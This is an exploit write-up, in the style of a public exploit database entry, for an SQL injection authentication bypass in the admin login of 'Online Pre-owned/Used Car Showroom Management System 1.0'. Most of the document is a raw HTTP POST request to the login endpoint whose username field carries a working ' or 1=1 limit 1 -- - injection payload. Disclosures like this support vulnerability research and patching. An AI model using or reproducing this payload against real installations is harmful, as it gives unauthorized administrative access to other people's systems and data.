# Exploit Title: Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass # Date: 01-12-2021 # Exploit Author: Mohamed habib Smidi (Craniums) # Vendor Homepage: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/used_car_showroom.zip # Version: 1.0 # Tested on: Ubuntu # Description : Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form. # Request : POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/used_car_showroom/admin/login.php Cookie: PHPSESSID=v0h6049m9ppunsh8vtfc8oj4p5 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin username='+or+1%3D1+limit+1+--+-%2B&password=aaaa --